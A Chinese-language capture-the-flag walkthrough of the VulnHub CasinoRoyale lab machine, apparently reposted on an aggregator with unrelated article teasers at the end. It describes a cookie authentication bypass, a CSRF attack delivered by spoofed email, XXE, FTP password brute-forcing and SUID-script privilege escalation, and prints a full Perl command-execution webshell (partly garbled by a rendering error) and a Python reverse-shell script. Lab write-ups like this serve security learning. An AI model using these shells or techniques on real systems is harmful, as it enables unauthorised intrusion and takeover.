CasinoRoyale靶机练习实践报告

CasinoRoyale靶机练习实践报告

下载地址:

  • https://drive.google.com/open?id=1FYP246L63zShV00wOckAQ5F5XJ4HkZ0L
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova.torrent ( Magnet)

1 安装靶机

靶机是.ova文件,需要用VirtualBox打开,但我习惯于使用VMWare,因此修改靶机文件,使其适用于VMWare打开。

解压ova文件,得到.ovf文件和.vmdk文件。

img

2 夺旗步骤

第一步:IP扫描,端口扫描,定位靶机的IP地址未192.168.81.133。

img

端口扫描,发现靶机开放端口21、25、80、8081。

img

第二步:目录扫描、域名扫描

img

对IP地址做目录爆破,发现5个可访问地址,逐个访问,发现一个需要用户口令的phpmyadmin地址,用常规口令爆破,失败。用nikto继续做域名发现。

img

对扫描发现的地址逐个查看,未有直接可利用信息。注意nikto攻击提示了一个可能存在的安全问题,经过排查并没法发现可利用。但是有个在192.168.81.133:80/index.php地址有个提示信息,说要用域名访问”casino-royale.local”,不管有没有用,先把该映射关系添加到hosts中。对8081端口做同样的扫描,没有什么重要发现。

img

img

我们在页面的底部发现该网站用了PokerMax Poker 0.13,去exploitdb中搜一下历史漏洞,查看相关漏洞文件6766.txt。

img

img

访问对应configure.php地址,然后在浏览器的console中执行javascript:document.cookie=”ValidUserAdmin=admin”;再次访问configure.php,就可以绕过口令登陆,我们从浏览器中看到的请求报文如下图所示,带上了cookie–>”ValidUserAdmin:admin”。

img

再次访问configure.php界面如下图所示,获得用户名密码。

img

用改密码去登陆phpmyadmin界面失败。继续搜索其他标签页,在Manage Players中发现一个用户,查看他的具体信息。

img

img

提示我们用casino-royale.local域名访问/vip-client-portfolios地址。我们发现该地址也有注册登陆接口,用之前获取的口令尝试,失败,继续查看其他内容,有一篇给新用户的博文写道要用已知的用户发送邮件给valenka@casino-royale.local,他会马上查看,而且会点击links。看起来没什么用,除非能发一个钓鱼邮件给他。

img

思考该网站是否使用了开源框架,该网站使用了Snowfox CMS,在exploitdb中搜索历史漏洞。果然发现了一个csrf漏洞,虽然不知道该网站使用的Snowfox CMS版本,还是试试。

img

根据漏洞描述问题提示去利用,在本机搭建一个apache服务,并将利用html文件放在/var/www/html/目录下,在本地尝试是否可以通过http://ip/CasinoRoyal.html访问该页面。下图标记处exp中需要修改的地方。

img

我们在端口扫描时知道靶机上开放了smtp服务,通过命令行发送邮件给valenka@casino-royale.local,在邮件中添加网址http://ip/CasinoRoyal.html,当valenka点击该地址就会触发创建admin账户,注意,邮件的发送者必须伪造成已知用户。

img

用新创建的admin账户登陆,逐个功能点查看,在账户里发现一个新的地址。

img

img

查看地址/ultra-access-view/main.php的页面源码,发现提示。正好是刚刚学习过的xxe漏洞,提示还说要用post方式传参。还有一句提示说ftp是弱口令。

img

利用hackbar攻击,失败。请教了大神才知道hackbar会对参数做一次url编码,导致后台不认。

img

直接在burp中利用,获取ftp的用户名。为什么在这里想获取口令,而不是直接命令执行获取flag。因为题目告诉我们flag在/root/flag/flag.sh中,通过网站的用户获取权限不够。

img

我们发现ftpUserULTRA是ftp用户名,前面提示过ftp是弱口令,所以爆破咯。而且访问ftp的页面地址也给出来了,是/ultra-access-view。

img

当然是ftp登陆上去查看一番。

img

  • 直接上传一个php木马,然后通过网页访问触发,提示550 permission deny;

  • 上传一个perl木马,然后通过网页触发访问

    • 记得要给脚本可执行权限,否则执行失败
    • Perl脚本还不能直接执行tcp来反弹shell,提示”apache can’t access tty; job control turned off”

img

Perl脚本分享

#!/usr/bin/perl

# PerlKit-0.1 - http://www.t0s.org

# cmd.pl: Run commands on a webserver

use strict;

my ($cmd, %FORM);

$|=1;

print “Content-Type: text/html\r\n”;

print “\r\n”;

# Get parameters

%FORM = parse_parameters($ENV{‘QUERY_STRING’});

if(defined $FORM{‘cmd’}) {

$cmd = $FORM{‘cmd’};

}

print '

';

if(defined $FORM{'cmd'}) {

  print "Results of '$cmd' execution:\n\n";

  print "-"x80;

  print "\n";

  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";



  while() {

​    print;

  }

  close(CMD);

  print "-"x80;

  print "\n";

}

print "
";

sub parse_parameters ($) {

my %ret;

my $input = shift;

foreach my $pair (split(‘&’, $input)) {

​ my ($var, $value) = split(‘=’, $pair, 2);

​ if($var) {

​ $value =~ s/+/ /g ;

​ $value =~ s/%(…)/pack(‘c’,hex($1))/eg;

KaTeX parse error: Expected '}', got 'EOF' at end of input: ret{var} = $value;

​ }

}

return %ret;

}

终于getShell了。

img

权限不够,提权,linux内核提权失败。在各个目录下扫荡,发现关键目录/opt/casino-royale,逐个查看文件,在php-web-start.sh中看到了8081端口,访问看看。

img

img

img

右键查看源码,发现点击data collect按钮会触发collect.php执行,而该php文件会执行casino-data-collection.py。我们唯一能操作的文件就是该py文件,写一个python shell就可以获得用户le的shell,虽然还不是root用户的shell,试试也无妨。

当前shell竟然无法使用vim编辑器,发现大神一篇介绍shell的文章,醍醐灌顶。https://www.anquanke.com/post/id/86444。直接升级netcat的方式尝试失败,使用socat的方式,在已有的shell中再次反弹shell。

img

终于可以使用vim了,下面是python的反弹shell脚本内容。

Import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((“127.0.0.1”,1234));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call([“/bin/sh”,“-i”]);

在页面上点击按钮,获得le的shell。

img

获取le的shell后,查看close2root.txt,出现一个网址,但是没有特别的内容。

继续查看其他文件,mi6_detect_test是elf格式,它是root所有,且设置了s位,执行看看,发现它调用了run.sh,而run.sh是le有权限改的,在该文件末尾打开一个shell,那就是root权限!!!

img

img

root权限get!!!

执行/root/flag/flag.sh,根据提示获取flag。

img

3 总结

  1. 遇到网站务必要看是否使用框架,找框架漏洞,靶机涉及Poker和SnowFox两个框架漏洞
  2. 熟练掌握常见web漏洞利用手法。靶机涉及到xxe漏洞、文件上传漏洞、弱口令、csrf漏洞、不安全的cookie
  3. 储备好webshell等弹药库。靶机涉及python webshell、perl webshell、php webshell(没成功)
  4. 掌握shell提权的方式,如反弹shell变成可交互的shell,普通shell提权为root权限shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/577366.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分布式WEB应用中会话管理的变迁之路

Session一词直译为“会话”,意指有始有终的一系列动作/消息。Session是Web应用蓬勃发展的产物之一,在Web应用中隐含有“面向连接”和“状态保持”两个含义,同时也指代了Web服务器与客户端之间进行状态保持的解决方案。 在Web应用…

018基于SSM的音乐系统网站

018基于SSM的音乐系统/网站 开发环境: Jdk7(8)Tomcat7(8)MysqlIntelliJ IDEA(Eclipse)Maven 数据库: MySQL 技术: SpringSpring mvcMybatisJqueryVideo jsJSPJSTLEasyUI 适用于: 课程设计,毕业设计,学习…

tiktok如何影响用户行为的分析兼论快速数据分析的策略

tiktok如何影响用户行为的分析 快速数据分析的策略流程: 1.确定指标变量,也就确定了数据分析想要回答的问题。想回答不同的问题,就选择不同的指标变量。 变量筛选方法选出指标变量相关的变量; 针对筛选出的变量进行描述性分析和因…

职场口才使人取得事业上的成功?

职场口才使人取得事业上的成功? 一、引言 在职场中,一个人的口才能力往往成为其事业成功的关键因素。优秀的职场口才不仅能够帮助我们更好地与他人沟通交流,还能够展现个人的专业素养和魅力,为事业的顺利发展奠定坚实基础。本文将…

【软件】ERETCAD-Env:在轨空间环境3D动态仿真软件

文章介绍了Extreme-environment Radiation Effect Technology Computer-Aided Design – Environment (ERETCAD-Env)软件,文章的介绍和展示了ERETCAD-Env软件的功能和特点,这是一款用于动态模拟在轨卫星所处空间环境的计算机辅助设计软件。强调了该软件在…

城市建筑轮廓矢量边界、建设用地数据、城市道路网分布、城市土地利用规划分布、土地利用数据、城市绿地分布

数据下载链接:数据下载链接 中国主要城市建筑底面轮廓和建筑高度空间分布数据,包括省会城市、地级市及县级市等主要城市。城市建筑底面轮廓和建筑高度数据,数据坐标为 WGS84地理坐标, 数据格式为 SHP 文件。数据范围基本覆盖城市…

vscode中用node的终端安装模块

1 安装模块 在控制台输入 npm install crypto-js 创建好了会多几个文件 crypto-js是我们刚刚装的包,用于hash算法和aes des算法 2 package.json文件的作用 当我们把node-modules删了,或者是新建一个文件后我们不用把这个node-modules拷贝过去 在控制台…

路由器使用docker安装mysql和redis服务

路由器使用docker安装mysql和redis服务 1.先在路由器中开启docker功能 (需要u盘 或者 移动硬盘) 2. docker 管理地址 :http://192.168.0.1:11180/#/ 3. 拉取镜像 4. mysql容器参数设置 MYSQL_ROOT_PASSWORD 5. redis 容器设置 开发经常需要用到 &…

网络安全培训对软件开发人员的重要性

微信搜索关注:网络研究观 阅读获取更多信息。 组织所经历的持续不断的网络威胁没有任何放缓的迹象,使得实现有效安全的任务变得越来越具有挑战性。 根据最新的 Verizon 数据泄露调查报告,2023 年高级攻击增加了 200% 以上。 IBM 数据泄露成…

安居水站:自来水:日常中的安全与奥秘

在我们的日常生活中,自来水如同空气一样,是生活中不可或缺的一部分。每当我们拧开水龙头,清澈的水流便汩汩而出,滋养着我们的生活和健康。然而,这看似普通的自来水背后,却隐藏着许多我们可能并不了解的知识…

Spark AQE 导致的 Driver OOM问题

背景 最近在做Spark 3.1 升级 Spark 3.5的过程中,遇到了一批SQL在运行的过程中 Driver OOM的情况,排查到是AQE开启导致的问题,再次分析记录一下,顺便了解一下Spark中指标的事件处理情况 结论 SQLAppStatusListener 类在内存中存…

mac 教程 终端如何拆墙

一直觉得自己写的不是技术,而是情怀,一个个的教程是自己这一路走来的痕迹。靠专业技能的成功是最具可复制性的,希望我的这条路能让你们少走弯路,希望我能帮你们抹去知识的蒙尘,希望我能帮你们理清知识的脉络&#xff0…

面试:finalize

一、概述 将资源释放和清理放在finalize方法中非常不好,非常影响性能,严重时甚至会引起OOM(Out Of Memory),从Java9开始就被标注为Deprecated,不建议被使用了。 二、两个重要的队列 1、unfinalized 队列 当…

SpringBoot中多数据源灵活切换解决方案

本篇内容介绍了“SpringBoot中如何使用Dynamic Datasource配置多数据源”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成! 源码地址/文档说明 功能特性: 支持 数据源分组…

vue与Spring boot数据交互例子【简单版】

文章目录 什么是Vue?快速体验Vueaxios是什么?向Springboot后端发送数据接收Springboot后端数据小结 什么是Vue? 官网解释:Vue 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上…

JAVA12

JAVA12 1 概述2 语法层次的变化1_swich表达式(预览) 3 API层次的变化1_支持数字压缩格式化2_String新方法3_Files新增mismatch方法 4 关于GC方面的新特性1_Shenandoah GC:低停顿时间的GC(预览)2_可中断的 G1 Mixed GC3_ 增强G1 5 其他新特性简…

ENVI下基于劈窗算法从MODIS数据中反演海表温度

劈窗算法最初是为反演海面温度开发的,具体地说是针对NOAA/AVHRR的4和5通道设计的,后来也被用来反演地表温度,这种算法较成熟,精度也高。劈窗算法以地表热辐射传导方程为基础,利用10~13μm 大气窗口内,两个相…

全志ARM-修改开发板内核启动日志

修改开发板内核日志输出级别: 默认输出级别为1,需要用超级用户权限修改 sudo vi /boot/orangepiEvn.txt 把第一行内核启动输出权限改为7,第二行把输出方式该为“serial”串口输出

Typora for Mac:轻量级Markdown编辑器

Typora for Mac是一款专为Mac用户设计的轻量级Markdown编辑器,它以其简洁的界面和强大的功能,成为了Markdown写作爱好者的首选工具。 Typora for Mac v1.8.10中文激活版下载 Typora的最大特色在于其所见即所得的编辑模式,用户无需关心复杂的M…

Ubuntu Mysql修改密码时遇到的问题

参考: ubuntu18.04 首次登录mysql未设置密码或忘记密码解决方法_ubuntu中mysql设置密码-CSDN博客 1. use mysql; #连接到mysql数据库 2. update mysql.user set authentication_stringpassword(123456) where userroot and Host localhost; #修改密码123456是密码…